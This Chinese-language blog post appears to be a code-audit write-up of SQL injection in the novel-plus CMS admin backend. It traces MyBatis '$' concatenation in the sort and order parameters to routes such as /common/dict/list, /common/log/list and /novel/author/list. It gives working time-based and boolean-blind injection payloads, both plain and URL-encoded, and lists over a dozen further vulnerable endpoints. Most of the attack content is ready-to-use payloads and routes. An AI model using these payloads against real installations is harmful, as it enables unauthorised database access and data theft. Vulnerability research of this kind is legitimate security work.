novel-plus后台sql注入

novel-plus后台sql注入
shiro框架
Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,而且配置中也没有设置密钥,无法利用
登录后台
没找到默认账号密码,debug生成一个admin/123456
数据库中sys_usr修改密码为

d0af8fa1272ef5a152d9e27763eea293
提示:类型路由都是一样的,都是在list方法,由于是后台注入
使用者只需要进入数据库中,将用户名密码修改复杂一些,无法爆破出来即可

查找注入 在mybatis配置文件中查找$符号,在DictMapper.xml找到了该符号
在这里插入图片描述
进入Dictdao.java 在这里插入图片描述
查找声明
DictServiceImpl.java
在这里插入图片描述
继续查找

在这里插入图片描述
在DictController中,路由是/common/dict/list,拼接访问
在这里插入图片描述

burpsuite数据包为

这里传入的是limit的两个参数,而limit位置使用了预编译写法,这里传入的应该是order by的两个参数,即sort,order,但是由于sort参数写法
在这里插入图片描述
最后的数据库查询类似于

select *form database where sort='poc' order by poc limit 0,10

所以最后的poc为

1 AND (SELECT if((substr((select user()),1,1)="r"),sleep(0.2),0))

url编码

%31%20%41%4e%44%20%28%53%45%4c%45%43%54%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%22%72%22%29%2c%73%6c%65%65%70%28%30%2e%32%29%2c%30%29%29

发送
在这里插入图片描述
由于这里是4条数据,所以延时0.8秒 这里显示830毫秒也是一样的

如果是order参数

and if((substr((select user()),1,1)='r'),sleep(0.5),0) 

url编码

%61%6e%64%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%72%27%29%2c%73%6c%65%65%70%28%30%2e%35%29%2c%30%29%20

在这里插入图片描述
两条数据延时1秒,
最后执行的语句为

select  *  from sys_dict   WHERE  sort = 'id'   order by id and if((substr((select user()),1,1)='r'),sleep(0.5),0)  limit 0, 10
//修改过,查询的参数比较多,想要的只是order by后面的内容

继续查找$符号
在这里插入图片描述
在FileMapper.xml中也有一个order by参数,进入FileDao,查找声明
在FileServiceImpl,继续查找,在FileController中
在这里插入图片描述
路径 /common/sysFile
一样的参数,一样的poc

limit=12&offset=0&sort=id&order=and if((substr((select user()),1,1)='r'),sleep(0.5),0) 

当然了

limit=12&offset=0&sort=&order=id and if((substr((select user()),1,1)='r'),sleep(0.5),0) 

limit=12&offset=0&sort=id and if((substr((select user()),1,1)='r'),sleep(0.5),0) &order=

也是可以的,适当修改sleep()数值,避免延时太长

继续查找,只给出poc和导向

GenColumnsMapper.xml——》GenColumnsDao——》GeneratorServiceImpl.listColumnsByTableName——》GeneratorController.genColumnsList

但是GeneratorController.genColumnsList接受的只是tableName,sort和order参数无法控制
在这里插入图片描述而

而tableName参数是预编译写法,无法利用

LogMapper.xml
list——》LogDao.list——》LogServiceImpl.queryList——》LogController.list
路由

/common/log/list

poc

sort=&order=if((substr((select user()),1,1)='r'),username,id)
sort=&order=%61%6e%64%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%72%27%29%2c%73%6c%65%65%70%28%30%2e%35%29%2c%30%29%20
//都写在一个参数里面也可以

这里数据比较多,延时注入太久,使用布尔注入,通过数据的排列方式不同进行判断
在这里插入图片描述

if((substr((select user()),1,1)='a'),username,id)
%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%61%27%29%2c%75%73%65%72%6e%61%6d%65%2c%69%64%29

在这里插入图片描述

AuthorMapper.xml——》AuthorDao——》AuthorServiceImpl——》AuthorController

路由

/novel/author/list

poc

sort=%69%64%20%61%6e%64%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%72%27%29%2c%73%6c%65%65%70%28%31%29%2c%30%29&order=
sort=id and if((substr((select user()),1,1)='r'),sleep(1),0)&order=

或者

sort=id&order=%20%61%6e%64%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%72%27%29%2c%73%6c%65%65%70%28%31%29%2c%30%29
sort=id&order= and if((substr((select user()),1,1)='r'),sleep(1),0)

前提这里的sort不能为空

接下来就不详细写了
直写链路和路由,poc都是一样的,而且都是在list位置

BookCommentMapper——》BookCommentDao——》BookCommentServiceImpl——》BookCommentController
/novel/bookComment
BookContentMapper.xml——》BookContentDao——》BookContentServiceImpl——》BookContentController
/novel/bookContent
BookIndexMapper.xml——》BookIndexDao——》BookIndexServiceImpl——》BookIndexController
/novel/bookIndex
BookMapper.xml——》BookDao——》BookServiceImpl——》BookController——》
/novel/book
BookSettingMapper.xml——》BookSettingDao——》BookSettingServiceImpl——》BookSettingController
/novel/bookSetting
CategoryMapper.xml——》CategoryDao——》CategoryServiceImpl——》CategoryController
/novel/category
FriendLinkMapper.xml——》FriendLinkDao——》FriendLinkServiceImpl——》FriendLinkController
/novel/friendLink
NewsMapper.xml——》NewsDao——》NewsServiceImpl——》NewsController
/novel/news
PayMapper.xml——》PayDao——》PayServiceImpl——》PayController
/novel/pay
UserFeedbackMapper.xml——》UserFeedbackDao——》UserFeedbackServiceImpl——》UserFeedbackController
/novel/userFeedback
UserMapper.xml——》UserDao——》UserServiceImpl——》UserController
/novel/user

WebsiteInfoMapper这个没有,控制器没有list方法,dao层中虽然有,但是没方法调用

DataPermMapper.xml——》DataPermDao——》SDataPermerviceImpl——》DataPermController
/system/dataPerm

DeptMapper这个没有,参数内容不可控

MenuMapper.xml——》MenuDao——》MenuServiceImpl——》MenuController
/system/menu
RoleDataPermMapper.xml——》RoleDataPermDao——》RoleDataPermServiceImpl——》RoleDataPermController
/system/roleDataPerm

RoleDataPermMapper这个没有参数内容不可空或者要求Long类型
RoleMapper这个没有,没有方法调用dao层下面的list方法

UserMapper.xml——》UserDao——》UserServiceImpl——》UserController
/sys/user

UserRole这个没有,没有方法调用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值